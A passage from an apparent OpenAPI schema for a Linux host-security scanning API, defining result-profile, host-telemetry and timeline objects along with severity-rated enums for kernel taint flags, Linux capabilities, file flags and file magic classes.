interval.","type":"boolean"}},"required":["minutes_timer_low","minutes_timer_high","restrict_begin_hour","restrict_end_hour","priority","all_hosts_immediately"]},"ProfileSandflyResults":{"type":"object","description":"Details of results for a sandfly on a result profile.","required":["sandfly","results"],"properties":{"sandfly":{"type":"string","description":"Sandfly name."},"results":{"type":"array","description":"Results associated with the sandfly in the profile.","items":{"type":"object","description":"Result associated with the sandfly in the profile.","required":["type","hash_type","hash","key_data","result_profile_result_id"],"properties":{"type":{"type":"string","enum":["whitelist","drift"],"description":"Type of profile matching this result may be used for."},"hash_type":{"description":"Enforcement level this result supports.","$ref":"#/components/schemas/ProfileHashType"},"hash":{"type":"string","description":"Match hash for this result. May be an empty string for a \"no results\" entry in the drift profile on this sandfly."},"key_data":{"type":"string","description":"Key data element from the result."},"result_profile_result_id":{"type":"integer","description":"Result profile result JSON ID."}}}}}},"ProfileSummary":{"type":"object","description":"","allOf":[{"$ref":"#/components/schemas/ProfileCommon"},{"$ref":"#/components/schemas/ProfileMeta"}]},"Profile":{"type":"object","discriminator":{"propertyName":"type","mapping":{"legacy_profile":"#/components/schemas/ProfileLegacy","autodrift_profile":"#/components/schemas/ProfileAutoDrift"}},"oneOf":[{"$ref":"#/components/schemas/ProfileLegacy"},{"$ref":"#/components/schemas/ProfileAutoDrift"}]},"ProfileDetails":{"type":"object","required":["associations","host_info","history","sandflies"],"properties":{"associations":{"$ref":"#/components/schemas/ProfileAssociations"},"host_info":{"type":"array","items":{"$ref":"#/components/schemas/ProfileHostSummary"}},"history":{"type":"array","items":{"$ref":"#/components/schemas/ProfileHistory"}},"sandflies":{"description":"The sandflies for which this result profiles has results for.","type":"array","items":{"$ref":"#/components/schemas/ProfileSandflySummary"}}}},"ProfileUpdateRequest":{"description":"Result profile details.","type":"object","allOf":[{"$ref":"#/components/schemas/ProfileCommon"}],"properties":{"associations":{"$ref":"#/components/schemas/ProfileAssociations"}}},"ProfileLegacy":{"type":"object","deprecated":true,"allOf":[{"$ref":"#/components/schemas/ProfileCommon"},{"$ref":"#/components/schemas/ProfileMeta"},{"$ref":"#/components/schemas/ProfileDetails"}]},"ProfileAutoDrift":{"type":"object","allOf":[{"$ref":"#/components/schemas/ProfileCommon"},{"$ref":"#/components/schemas/ProfileMeta"},{"$ref":"#/components/schemas/ProfileDetails"}],"required":["auto_drift_options"],"properties":{"auto_drift_options":{"description":"Only present if the profile is an auto-drift profile.","allOf":[{"$ref":"#/components/schemas/ProfileAutoDriftOptions"},{"$ref":"#/components/schemas/ProfileAutoDriftStats"}]}}},"ProfileAutoDriftStats":{"type":"object","description":"Server-provided statistics/data for an auto-drift profile.","required":["gather_start_time","schedule_id"],"properties":{"gather_start_time":{"type":"string","format":"date-time","nullable":true,"description":"The time gathering for this auto-drift profile last began (e.g. at initial creation time, or if a later edit re-enters gathering mode, the most recent occurrence). Null if there is no gather schedule."},"schedule_id":{"type":"string","nullable":true,"description":"If there is currently a system-managed schedule (gather or scan) associated with this auto-drift profile, this is the name (ID) of the schedule. If there is no schedule, will be null."}}},"ProfileForHost":{"type":"object","allOf":[{"$ref":"#/components/schemas/ProfileSummary"}],"required":["mode","hash_type"],"properties":{"mode":{"$ref":"#/components/schemas/ProfileMode"},"hash_type":{"$ref":"#/components/schemas/ProfileHashType"}}},"ProfileHostSummary":{"type":"object","properties":{"id":{"description":"The host ID of this host.","type":"string"},"host_sequence_id":{"description":"Sequence host ID of this host.","type":"integer"},"hostname":{"description":"The hostname (target address) of this host.","type":"string"},"node_name":{"description":"The OS node name of this host.","type":"string"},"date_last_seen":{"description":"The date this host was last successfully connected to.","type":"string","format":"date-time"},"last_seen_ip_addr":{"description":"The IP address this host was last seen at.","type":"string"},"mode":{"$ref":"#/components/schemas/ProfileMode"},"hash_type":{"$ref":"#/components/schemas/ProfileHashType"},"ignore_containers":{"$ref":"#/components/schemas/ProfileIgnoreContainers"}}},"ProfileSandflySummary":{"type":"object","properties":{"name":{"type":"string","description":"Name of the sandfly."},"description":{"type":"string","description":"Description of the sandfly."},"whitelist_results":{"type":"boolean","description":"Indicates if the profile has results for whitelisting this sandfly."},"whitelist_results_count":{"type":"integer","description":"Number of whitelisting results for this profile."},"drift_results":{"type":"boolean","description":"Indicates if the profile has results to use for drift detection on this sandfly."},"drift_results_count":{"type":"integer","description":"Number of drift detection results for this profile."},"type":{"type":"string","description":"Sandfly type."},"custom":{"type":"boolean","description":"Indicates if this is a custom sandfly."},"cloned_from":{"type":"string","description":"The sandfly from which this custom sandfly was cloned."},"partner":{"type":"boolean","description":"Indicates if this is a partner sandfly."},"active":{"type":"boolean","description":"Indicates if the sandfly is active."},"tags":{"type":"array","items":{"type":"string"},"description":"List of tags associated with the sandfly."}},"required":["name","description","whitelist_results","whitelist_results_count","drift_results","drift_results_count","type","custom","active","tags"]},"ProfileIgnoreContainers":{"description":"When true, container results will not be affected by this profile.","type":"boolean","default":false},"ProfileMode":{"description":"Whether this result profile association will suppress alerts (whitelist), create alerts (drift), or both on the associated hosts.","type":"string","enum":["whitelist","drift","both"]},"ProfileHashType":{"description":"The type of hash, permissive or restrictive, to use to apply this result profile to the associated host(s)","type":"string","enum":["permissive","restrictive"]},"ProfileAssociations":{"description":"Individual hosts and tags to which to apply this result profile.","type":"object","required":["hosts","tags"],"properties":{"hosts":{"type":"array","items":{"$ref":"#/components/schemas/ProfileAssociationHost"}},"tags":{"type":"array","items":{"$ref":"#/components/schemas/ProfileAssociationTag"}}}},"ProfileAssociationHost":{"description":"Host IDs to apply this result profile to.","type":"object","required":["host_id","mode","hash_type","ignore_containers"],"properties":{"host_id":{"type":"string"},"mode":{"$ref":"#/components/schemas/ProfileMode"},"hash_type":{"$ref":"#/components/schemas/ProfileHashType"},"ignore_containers":{"$ref":"#/components/schemas/ProfileIgnoreContainers"}}},"ProfileAssociationTag":{"description":"Host tags to apply this result profile to.","type":"object","required":["tag","mode","hash_type","ignore_containers"],"properties":{"tag":{"type":"string"},"mode":{"$ref":"#/components/schemas/ProfileMode"},"hash_type":{"$ref":"#/components/schemas/ProfileHashType"},"ignore_containers":{"$ref":"#/components/schemas/ProfileIgnoreContainers"}}},"ProfileHistory":{"description":"Log of each time this result profile had results added to it.","type":"object","properties":{"time":{"description":"Timestamp of when the history event occurred.","type":"string"},"username":{"description":"The username of the person who performed this event.","type":"string"},"event":{"description":"Server-generated description of the event.","type":"string"},"user_note":{"description":"Notes the user provided when performing the action.","type":"string"}}},"ProfilesIDList":{"type":"object","required":["result_profile_ids"],"properties":{"result_profile_ids":{"type":"array","description":"Array of result profile IDs","items":{"type":"integer","description":"Result profile ID"}}}},"HostResultTimeline":{"description":"Timeline of result alert/pass status for a host.","type":"object","required":["host_id","host_sequence_id","hostname"],"properties":{"host_id":{"type":"string","description":"The unique identifier of the host"},"host_sequence_id":{"type":"integer","description":"Host sequence ID"},"hostname":{"type":"string","description":"The hostname or IP address of the host"},"os_info_node":{"type":"string","description":"OS host node name"},"date_last_seen":{"type":"string","format":"date-time","description":"The date and time when the host was last seen"},"last_seen_ip_addr":{"type":"string","description":"The IP address at which the host was last seen"},"tags":{"type":"array","items":{"type":"string"},"description":"Host tags"},"result_timeline":{"type":"array","items":{"$ref":"#/components/schemas/ResultTimelineEntry"},"description":"Timeline of results for the host"}}},"ResultTimelineEntry":{"type":"object","required":["begin","end","status"],"properties":{"begin":{"type":"string","format":"date-time","description":"The start time of the timeline entry"},"end":{"type":"string","format":"date-time","description":"The end time of the timeline entry"},"status":{"type":"string","enum":["pass","alert","error"],"description":"The status of the results during the time period"}}},"HardwareTelemetry":{"properties":{"cpu":{"properties":{"address_sizes":{"items":{"title":"Host.data.os.hardware.cpu.address_sizes.[]","type":"string"},"title":"Host.data.os.hardware.cpu.address_sizes","type":"array"},"apicid":{"title":"Host.data.os.hardware.cpu.apicid","type":"number"},"architecture":{"title":"Host.data.os.hardware.cpu.architecture","type":"number"},"bogo_mips":{"title":"Host.data.os.hardware.cpu.bogo_mips","type":"number"},"bugs":{"items":{"title":"Host.data.os.hardware.cpu.bugs.[]","type":"string"},"title":"Host.data.os.hardware.cpu.bugs","type":"array"},"cache_alignment":{"title":"Host.data.os.hardware.cpu.cache_alignment","type":"number"},"cache_size":{"title":"Host.data.os.hardware.cpu.cache_size","type":"number"},"cl_flush_size":{"title":"Host.data.os.hardware.cpu.cl_flush_size","type":"number"},"core_id":{"title":"Host.data.os.hardware.cpu.core_id","type":"number"},"cores":{"title":"Host.data.os.hardware.cpu.cores","type":"number"},"family":{"title":"Host.data.os.hardware.cpu.family","type":"number"},"flags":{"items":{"title":"Host.data.os.hardware.cpu.flags.[]","type":"string"},"title":"Host.data.os.hardware.cpu.flags","type":"array"},"fpu":{"title":"Host.data.os.hardware.cpu.fpu","type":"boolean"},"fpu_exception":{"title":"Host.data.os.hardware.cpu.fpu_exception","type":"boolean"},"id_level":{"title":"Host.data.os.hardware.cpu.id_level","type":"number"},"implementer":{"title":"Host.data.os.hardware.cpu.implementer","type":"string"},"initial_apicid":{"title":"Host.data.os.hardware.cpu.initial_apicid","type":"number"},"mhz":{"title":"Host.data.os.hardware.cpu.mhz","type":"number"},"microcode":{"title":"Host.data.os.hardware.cpu.microcode","type":"string"},"model":{"title":"Host.data.os.hardware.cpu.model","type":"number"},"model_name":{"title":"Host.data.os.hardware.cpu.model_name","type":"string"},"part":{"title":"Host.data.os.hardware.cpu.part","type":"string"},"physical_id":{"title":"Host.data.os.hardware.cpu.physical_id","type":"number"},"power_management":{"title":"Host.data.os.hardware.cpu.power_management","type":"string"},"processor":{"title":"Host.data.os.hardware.cpu.processor","type":"number"},"revision":{"title":"Host.data.os.hardware.cpu.revision","type":"number"},"siblings":{"title":"Host.data.os.hardware.cpu.siblings","type":"number"},"stepping":{"title":"Host.data.os.hardware.cpu.stepping","type":"number"},"variant":{"title":"Host.data.os.hardware.cpu.variant","type":"string"},"vendor_id":{"title":"Host.data.os.hardware.cpu.vendor_id","type":"string"},"wp":{"title":"Host.data.os.hardware.cpu.wp","type":"boolean"}},"required":["address_sizes","apicid","architecture","bogo_mips","bugs","cache_alignment","cache_size","cl_flush_size","core_id","cores","family","flags","fpu","fpu_exception","id_level","implementer","initial_apicid","mhz","microcode","model","model_name","part","physical_id","power_management","processor","revision","siblings","stepping","variant","vendor_id","wp"],"additionalProperties":false,"title":"Host.data.os.hardware.cpu","type":"object"},"dmi":{"properties":{"bios_date":{"title":"Host.data.os.hardware.dmi.bios_date","type":"string"},"bios_vendor":{"title":"Host.data.os.hardware.dmi.bios_vendor","type":"string"},"bios_version":{"title":"Host.data.os.hardware.dmi.bios_version","type":"string"},"chassis_asset_tag":{"title":"Host.data.os.hardware.dmi.chassis_asset_tag","type":"string"},"chassis_serial":{"title":"Host.data.os.hardware.dmi.chassis_serial","type":"string"},"chassis_type":{"title":"Host.data.os.hardware.dmi.chassis_type","type":"string"},"chassis_vendor":{"title":"Host.data.os.hardware.dmi.chassis_vendor","type":"string"},"chassis_version":{"title":"Host.data.os.hardware.dmi.chassis_version","type":"string"},"modalias":{"title":"Host.data.os.hardware.dmi.modalias","type":"string"},"product_family":{"title":"Host.data.os.hardware.dmi.product_family","type":"string"},"product_name":{"title":"Host.data.os.hardware.dmi.product_name","type":"string"},"product_serial":{"title":"Host.data.os.hardware.dmi.product_serial","type":"string"},"product_uuid":{"title":"Host.data.os.hardware.dmi.product_uuid","type":"string"},"product_version":{"title":"Host.data.os.hardware.dmi.product_version","type":"string"},"sys_vendor":{"title":"Host.data.os.hardware.dmi.sys_vendor","type":"string"}},"required":["bios_date","bios_vendor","bios_version","chassis_asset_tag","chassis_serial","chassis_type","chassis_vendor","chassis_version","modalias","product_family","product_name","product_serial","product_uuid","product_version","sys_vendor"],"additionalProperties":false,"title":"Host.data.os.hardware.dmi","type":"object"},"network":{"properties":{"interfaces":{"items":{"properties":{"broadcast":{"title":"Host.data.os.hardware.network.interfaces.[].broadcast","type":"boolean"},"hardware_mac":{"title":"Host.data.os.hardware.network.interfaces.[].hardware_mac","type":"string"},"ip_address":{"nullable":true,"items":{"title":"Host.data.os.hardware.network.interfaces.[].ip_address.[]","type":"string"},"title":"Host.data.os.hardware.network.interfaces.[].ip_address","type":"array"},"loopback":{"title":"Host.data.os.hardware.network.interfaces.[].loopback","type":"boolean"},"multicast":{"title":"Host.data.os.hardware.network.interfaces.[].multicast","type":"boolean"},"name":{"title":"Host.data.os.hardware.network.interfaces.[].name","type":"string"},"point_to_point":{"title":"Host.data.os.hardware.network.interfaces.[].point_to_point","type":"boolean"},"running":{"title":"Host.data.os.hardware.network.interfaces.[].running","type":"boolean"},"stats":{"properties":{"received_bytes":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_bytes","type":"number"},"received_compressed":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_compressed","type":"number"},"received_drops":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_drops","type":"number"},"received_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_errors","type":"number"},"received_fifo_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_fifo_errors","type":"number"},"received_frame_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_frame_errors","type":"number"},"received_multicast":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_multicast","type":"number"},"received_packets":{"title":"Host.data.os.hardware.network.interfaces.[].stats.received_packets","type":"number"},"transmitted_bytes":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_bytes","type":"number"},"transmitted_carrier_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_carrier_errors","type":"number"},"transmitted_collisions":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_collisions","type":"number"},"transmitted_compressed":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_compressed","type":"number"},"transmitted_drops":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_drops","type":"number"},"transmitted_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_errors","type":"number"},"transmitted_fifo_errors":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_fifo_errors","type":"number"},"transmitted_packets":{"title":"Host.data.os.hardware.network.interfaces.[].stats.transmitted_packets","type":"number"}},"required":["received_bytes","received_compressed","received_drops","received_errors","received_fifo_errors","received_frame_errors","received_multicast","received_packets","transmitted_bytes","transmitted_carrier_errors","transmitted_collisions","transmitted_compressed","transmitted_drops","transmitted_errors","transmitted_fifo_errors","transmitted_packets"],"additionalProperties":false,"title":"Host.data.os.hardware.network.interfaces.[].stats","type":"object"},"up":{"title":"Host.data.os.hardware.network.interfaces.[].up","type":"boolean"},"wireless":{"title":"Host.data.os.hardware.network.interfaces.[].wireless","type":"boolean"}},"required":["broadcast","hardware_mac","ip_address","loopback","multicast","name","point_to_point","running","stats","up","wireless"],"additionalProperties":false,"title":"Host.data.os.hardware.network.interfaces.[]","type":"object"},"title":"Host.data.os.hardware.network.interfaces","type":"array"}},"required":["interfaces"],"additionalProperties":false,"title":"Host.data.os.hardware.network","type":"object"}},"required":["cpu","dmi","network"],"additionalProperties":false,"title":"Host.data.os.hardware","type":"object"},"KernelTaintLetter":{"type":"string","title":"KernelTaintLetter","description":"A kernel taint flag letter, as reported in /proc/sys/kernel/tainted.","enum":["P","F","S","R","M","B","U","D","A","W","C","I","O","E","L","K","X","T","N","J"],"x-enumDescriptions":{"P":"A proprietary module was loaded.","F":"A module was force loaded.","S":"SMP kernel oops on an officially SMP-incapable processor.","R":"A module was force unloaded.","M":"The processor reported a Machine Check Exception.","B":"A bad page was referenced or unexpected page flags were seen.","U":"Taint requested by a userspace application.","D":"The kernel died recently: an OOPS or BUG.","A":"An ACPI table was overridden by the user.","W":"The kernel issued a warning.","C":"A staging driver was loaded.","I":"A workaround for a platform firmware bug was applied.","O":"An externally built (out-of-tree) module was loaded. Normal on hosts with vendor drivers.","E":"An unsigned module was loaded. Normal on hosts with DKMS or vendor drivers.","L":"A soft lockup occurred.","K":"The kernel has been live patched.","X":"An auxiliary taint, defined for and used by distributions.","T":"The kernel was built with the struct randomization plugin.","N":"An unsupported or in-kernel test module (distribution-specific).","J":"Userspace used a mutating debug operation in fwctl."},"x-enumSeverities":{"P":5,"F":5,"S":0,"R":0,"M":0,"B":0,"U":0,"D":0,"A":0,"W":0,"C":0,"I":0,"O":0,"E":0,"L":0,"K":0,"X":0,"T":0,"N":0,"J":0}},"OsInfoTelemetry":{"properties":{"arch":{"title":"Host.data.os.info.arch","type":"string"},"boot_cmdline":{"title":"Host.data.os.info.boot_cmdline","type":"string"},"kernel_tainted_state":{"items":{"type":"object","title":"Host.data.os.info.kernel_tainted_state.[]","required":["taint","taint_reason"],"properties":{"taint":{"$ref":"#/components/schemas/KernelTaintLetter"},"taint_reason":{"type":"string","description":"The kernel's reason for the taint."}}},"title":"Host.data.os.info.kernel_tainted_state","type":"array"},"machine":{"title":"Host.data.os.info.machine","type":"string"},"machine_id":{"title":"Host.data.os.info.machine_id","type":"string"},"mounts":{"items":{"properties":{"device":{"title":"Mount.device","type":"string"},"dummy":{"title":"Mount.dummy","type":"string"},"fs_type":{"title":"Mount.fs_type","type":"string"},"mount_point":{"title":"Mount.mount_point","type":"string"},"options":{"title":"Mount.options","type":"string"},"size":{"title":"Mount.size","type":"integer"},"free":{"title":"Mount.free","type":"integer"},"avail":{"title":"Mount.avail","type":"integer"},"used":{"title":"Mount.used","type":"integer"},"used_percent":{"title":"Mount.used_percent","type":"integer"},"note":{"title":"Mount.note","type":"string"}},"required":["device","dummy","fs_type","mount_point","options","size","free","avail","used","used_percent","note"],"additionalProperties":false,"title":"Mount","type":"object"},"title":"Host.data.os.info.mounts","type":"array"},"node":{"title":"Host.data.os.info.node","type":"string"},"os_release":{"properties":{"bug_report_url":{"title":"OsRelease.bug_report_url","type":"string"},"build_id":{"title":"OsRelease.build_id","type":"string"},"cpe_name":{"title":"OsRelease.cpe_name","type":"string"},"documentation_url":{"title":"OsRelease.documentation_url","type":"string"},"home_url":{"title":"OsRelease.home_url","type":"string"},"id":{"title":"OsRelease.id","type":"string"},"id_like":{"title":"OsRelease.id_like","type":"string"},"logo":{"title":"OsRelease.logo","type":"string"},"name":{"title":"OsRelease.name","type":"string"},"pretty_name":{"title":"OsRelease.pretty_name","type":"string"},"privacy_policy_url":{"title":"OsRelease.privacy_policy_url","type":"string"},"support_url":{"title":"OsRelease.support_url","type":"string"},"variant":{"title":"OsRelease.variant","type":"string"},"variant_id":{"title":"OsRelease.variant_id","type":"string"},"version":{"title":"OsRelease.version","type":"string"},"version_codename":{"title":"OsRelease.version_codename","type":"string"},"version_id":{"title":"OsRelease.version_id","type":"string"}},"required":["bug_report_url","build_id","cpe_name","documentation_url","home_url","id","id_like","logo","name","pretty_name","privacy_policy_url","support_url","variant","variant_id","version","version_codename","version_id"],"additionalProperties":false,"title":"OsRelease","type":"object"},"platform":{"title":"Host.data.os.info.platform","type":"string"},"product_serial":{"title":"Host.data.os.info.product_serial","type":"string"},"release":{"title":"Host.data.os.info.release","type":"string"},"selinux_context":{"title":"Host.data.os.info.selinux_context","type":"string"},"selinux_status":{"type":"object","properties":{"enabled":{"type":"boolean"},"enabled_mls":{"type":"boolean"},"enforce_mode_boot":{"type":"string"},"enforce_mode_current":{"type":"string"}},"required":["enabled","enabled_mls","enforce_mode_boot","enforce_mode_current"]},"system":{"title":"Host.data.os.info.system","type":"string"},"uname":{"items":{"title":"Host.data.os.info.uname.[]","type":"string"},"title":"Host.data.os.info.uname","type":"array"},"uptime_date":{"title":"Host.data.os.info.uptime_date","type":"string"},"uptime_days":{"title":"Host.data.os.info.uptime_days","type":"number"},"uuid":{"title":"Host.data.os.info.uuid","type":"string"},"version":{"title":"Host.data.os.info.version","type":"string"}},"required":["arch","kernel_tainted_state","machine","machine_id","mounts","node","os_release","platform","product_serial","release","selinux_context","selinux_status","system","uname","uptime_date","uptime_days","uuid","version"],"additionalProperties":false,"title":"Host.data.os.info","type":"object"},"CpuTelemetry":{"properties":{"fifteen_min":{"title":"Cpu.fifteen_min","type":"number"},"fifteen_min_core_adjusted":{"title":"Cpu.fifteen_min_core_adjusted","type":"number"},"five_min":{"title":"Cpu.five_min","type":"number"},"five_min_core_adjusted":{"title":"Cpu.five_min_core_adjusted","type":"number"},"one_min":{"title":"Cpu.one_min","type":"number"},"one_min_core_adjusted":{"title":"Cpu.one_min_core_adjusted","type":"number"},"raw":{"type":"object"}},"required":["fifteen_min","fifteen_min_core_adjusted","five_min","five_min_core_adjusted","one_min","one_min_core_adjusted","raw"],"additionalProperties":false,"title":"Cpu","type":"object"},"MemoryTelemetry":{"properties":{"available":{"title":"Memory.available","type":"number"},"free":{"title":"Memory.free","type":"number"},"buffers":{"title":"Memory.buffers","type":"number"},"cached":{"title":"Memory.cached","type":"number"},"swap_free":{"title":"Memory.swap_free","type":"number"},"swap_total":{"title":"Memory.swap_total","type":"number"},"total":{"title":"Memory.total","type":"number"}},"required":["available","free","buffers","cached","swap_free","swap_total","total"],"additionalProperties":false,"title":"Memory","type":"object"},"PerformanceTelemetry":{"properties":{"cpu":{"$ref":"#/components/schemas/CpuTelemetry","title":"Host.data.os.performance.cpu"},"memory":{"$ref":"#/components/schemas/MemoryTelemetry","title":"Host.data.os.performance.memory"}},"required":["cpu","memory"],"additionalProperties":false,"title":"Host.data.os.performance","type":"object"},"Os":{"properties":{"hardware":{"$ref":"#/components/schemas/HardwareTelemetry","title":"Os.hardware"},"info":{"$ref":"#/components/schemas/OsInfoTelemetry","title":"Os.info"},"performance":{"$ref":"#/components/schemas/PerformanceTelemetry","title":"Os.performance"},"time":{"type":"object","required":["system_clock_time","system_clock_time_unix","sandfly_node_time","sandfly_node_time_unix"],"properties":{"system_clock_time":{"type":"string","format":"date-time","description":"The time on the host when the scan started."},"system_clock_time_unix":{"type":"integer","format":"int64","description":"The time on the host when the scan started, in Unix time format."},"sandfly_node_time":{"type":"string","format":"date-time","description":"The time on the sandfly node when the scan started."},"sandfly_node_time_unix":{"type":"integer","format":"int64","description":"The time on the sandfly node when the scan started, in Unix time format."}}}},"required":["hardware","info","performance","time"],"additionalProperties":false,"title":"Os","type":"object","nullable":true},"LinuxCapability":{"type":"string","title":"LinuxCapability","description":"A Linux capability, as named in capabilities(7). Decoded from a process capability set or a file security.capability attribute.","enum":["CAP_CHOWN","CAP_DAC_OVERRIDE","CAP_DAC_READ_SEARCH","CAP_FOWNER","CAP_FSETID","CAP_KILL","CAP_SETGID","CAP_SETUID","CAP_SETPCAP","CAP_LINUX_IMMUTABLE","CAP_NET_BIND_SERVICE","CAP_NET_BROADCAST","CAP_NET_ADMIN","CAP_NET_RAW","CAP_IPC_LOCK","CAP_IPC_OWNER","CAP_SYS_MODULE","CAP_SYS_RAWIO","CAP_SYS_CHROOT","CAP_SYS_PTRACE","CAP_SYS_PACCT","CAP_SYS_ADMIN","CAP_SYS_BOOT","CAP_SYS_NICE","CAP_SYS_RESOURCE","CAP_SYS_TIME","CAP_SYS_TTY_CONFIG","CAP_MKNOD","CAP_LEASE","CAP_AUDIT_WRITE","CAP_AUDIT_CONTROL","CAP_SETFCAP","CAP_MAC_OVERRIDE","CAP_MAC_ADMIN","CAP_SYSLOG","CAP_WAKE_ALARM","CAP_BLOCK_SUSPEND","CAP_AUDIT_READ","CAP_PERFMON","CAP_BPF","CAP_CHECKPOINT_RESTORE"],"x-enumDescriptions":{"CAP_CHOWN":"Change the owner of any file.","CAP_DAC_OVERRIDE":"Bypass file read, write and execute permission checks.","CAP_DAC_READ_SEARCH":"Bypass file read permission checks and directory read and execute checks. Also a known container-escape route.","CAP_FOWNER":"Bypass ownership checks when changing permissions or attributes on files owned by others.","CAP_FSETID":"Keep set-user-ID and set-group-ID bits when a file is modified.","CAP_KILL":"Send signals to any process, including security agents.","CAP_SETGID":"Switch to any group, including the root group.","CAP_SETUID":"Switch to any user, including root.","CAP_SETPCAP":"Grant or drop capabilities for other processes and edit the bounding set.","CAP_LINUX_IMMUTABLE":"Set the immutable and append-only file attributes.","CAP_NET_BIND_SERVICE":"Bind to network ports below 1024. The most common legitimate file capability.","CAP_NET_BROADCAST":"Make socket broadcasts. Not used by current kernels.","CAP_NET_ADMIN":"Reconfigure networking: interfaces, routing, firewall rules and promiscuous mode.","CAP_NET_RAW":"Open raw and packet sockets: sniff and forge network traffic.","CAP_IPC_LOCK":"Lock memory so it cannot be swapped out.","CAP_IPC_OWNER":"Bypass permission checks on System V IPC objects.","CAP_SYS_MODULE":"Load and unload kernel modules: a precondition for a kernel rootkit.","CAP_SYS_RAWIO":"Access raw I/O ports and kernel memory devices directly.","CAP_SYS_CHROOT":"Use chroot to change the root directory.","CAP_SYS_PTRACE":"Trace and inject code into any process.","CAP_SYS_PACCT":"Turn process accounting on and off.","CAP_SYS_ADMIN":"Perform a wide range of administrative operations, including mounts and namespaces. Effectively equivalent to root.","CAP_SYS_BOOT":"Reboot the system and load a new kernel with kexec.","CAP_SYS_NICE":"Change scheduling priority and CPU affinity.","CAP_SYS_RESOURCE":"Override resource limits and reserved filesystem space.","CAP_SYS_TIME":"Set the system clock: alters every timestamp-based timeline on the host.","CAP_SYS_TTY_CONFIG":"Configure terminals and perform privileged console operations.","CAP_MKNOD":"Create device nodes, including raw disk devices.","CAP_LEASE":"Establish leases on files.","CAP_AUDIT_WRITE":"Write records to the kernel audit log, including forged entries.","CAP_AUDIT_CONTROL":"Change audit rules and disable auditing.","CAP_SETFCAP":"Set file capabilities on any file: grant a program any capability.","CAP_MAC_OVERRIDE":"Override SELinux or AppArmor mandatory access control.","CAP_MAC_ADMIN":"Change SELinux or AppArmor policy.","CAP_SYSLOG":"Read the kernel log, which can leak kernel addresses.","CAP_WAKE_ALARM":"Set timers that wake the system from suspend.","CAP_BLOCK_SUSPEND":"Prevent the system from suspending.","CAP_AUDIT_READ":"Read the audit log over netlink.","CAP_PERFMON":"Use performance monitoring and kernel tracing.","CAP_BPF":"Load eBPF programs: a precondition for an eBPF rootkit.","CAP_CHECKPOINT_RESTORE":"Checkpoint and restore processes, with access to another process's memory-mapped files."},"x-enumSeverities":{"CAP_CHOWN":5,"CAP_DAC_OVERRIDE":5,"CAP_DAC_READ_SEARCH":5,"CAP_FOWNER":5,"CAP_FSETID":2,"CAP_KILL":2,"CAP_SETGID":5,"CAP_SETUID":5,"CAP_SETPCAP":5,"CAP_LINUX_IMMUTABLE":2,"CAP_NET_BIND_SERVICE":0,"CAP_NET_BROADCAST":0,"CAP_NET_ADMIN":2,"CAP_NET_RAW":5,"CAP_IPC_LOCK":0,"CAP_IPC_OWNER":2,"CAP_SYS_MODULE":5,"CAP_SYS_RAWIO":5,"CAP_SYS_CHROOT":2,"CAP_SYS_PTRACE":5,"CAP_SYS_PACCT":0,"CAP_SYS_ADMIN":5,"CAP_SYS_BOOT":5,"CAP_SYS_NICE":0,"CAP_SYS_RESOURCE":2,"CAP_SYS_TIME":5,"CAP_SYS_TTY_CONFIG":2,"CAP_MKNOD":5,"CAP_LEASE":0,"CAP_AUDIT_WRITE":2,"CAP_AUDIT_CONTROL":5,"CAP_SETFCAP":5,"CAP_MAC_OVERRIDE":5,"CAP_MAC_ADMIN":5,"CAP_SYSLOG":2,"CAP_WAKE_ALARM":0,"CAP_BLOCK_SUSPEND":0,"CAP_AUDIT_READ":2,"CAP_PERFMON":2,"CAP_BPF":5,"CAP_CHECKPOINT_RESTORE":2}},"FileFlag":{"type":"string","title":"FileFlag","description":"Attributes of a file.","enum":["directory","regular","link","suid","suid_root","sgid","sgid_root","socket","device","char_device","named_pipe","sticky","immutable","hidden","deleted","containerized"],"x-enumDescriptions":{"directory":"The entry is a directory.","regular":"The entry is a regular file.","link":"The entry is a symbolic link.","suid":"The set-user-ID bit is set. The file runs with its owner's privileges.","suid_root":"The set-user-ID bit is set and the owner is root. The file runs as root for anyone who executes it.","sgid":"The set-group-ID bit is set. The file runs with its group's privileges.","sgid_root":"The set-group-ID bit is set and the group is root.","socket":"The entry is a Unix socket.","device":"The entry is a block device.","char_device":"The entry is a character device.","named_pipe":"The entry is a named pipe (FIFO).","sticky":"The sticky bit is set: only an entry's owner may delete or rename it.","immutable":"The file is locked against changes or deletion, even by root, until the lock is removed.","hidden":"The file is concealed from normal listings.","deleted":"The file has been deleted from disk but is still open or referenced.","containerized":"The file lives inside a container."},"x-enumSeverities":{"directory":0,"regular":0,"link":0,"suid":5,"suid_root":5,"sgid":5,"sgid_root":5,"socket":0,"device":0,"char_device":0,"named_pipe":0,"sticky":0,"immutable":5,"hidden":5,"deleted":5,"containerized":0}},"MagicClass":{"type":"string","title":"MagicClass","description":"The classification of a file from its magic number, with ELF files refined by their header.","enum":["executable_linux_dynamic","executable_linux_static","executable_linux_shared_object","executable_linux_unknown","executable_linux","core_dump","relocatable_file","none","executable_windows","compression","filesystem","image","document","package","pcap","privatekey","script","html","xml","link","device","empty","unknown"],"x-enumDescriptions":{"executable_linux_dynamic":"A dynamically linked Linux executable.","executable_linux_static":"A statically linked Linux executable.","executable_linux_shared_object":"A Linux shared library.","executable_linux_unknown":"A Linux ELF file whose kind could not be determined.","executable_linux":"A Linux ELF file whose header could not be read to determine its kind.","core_dump":"A core dump: a process's memory written to disk.","relocatable_file":"A relocatable object file, such as a kernel module.","none":"An ELF file with no type recorded.","executable_windows":"A Windows executable on a Linux host.","compression":"A compressed archive or stream.","filesystem":"A filesystem image.","image":"An image or media file.","document":"A document.","package":"A software package.","pcap":"A network packet capture.","privatekey":"A private key.","script":"A script: shell, Python, Perl, Ruby or PHP.","html":"An HTML document.","xml":"An XML document.","link":"A symbolic link.","device":"A block or character device node.","empty":"An empty file.","unknown":"No recognized file 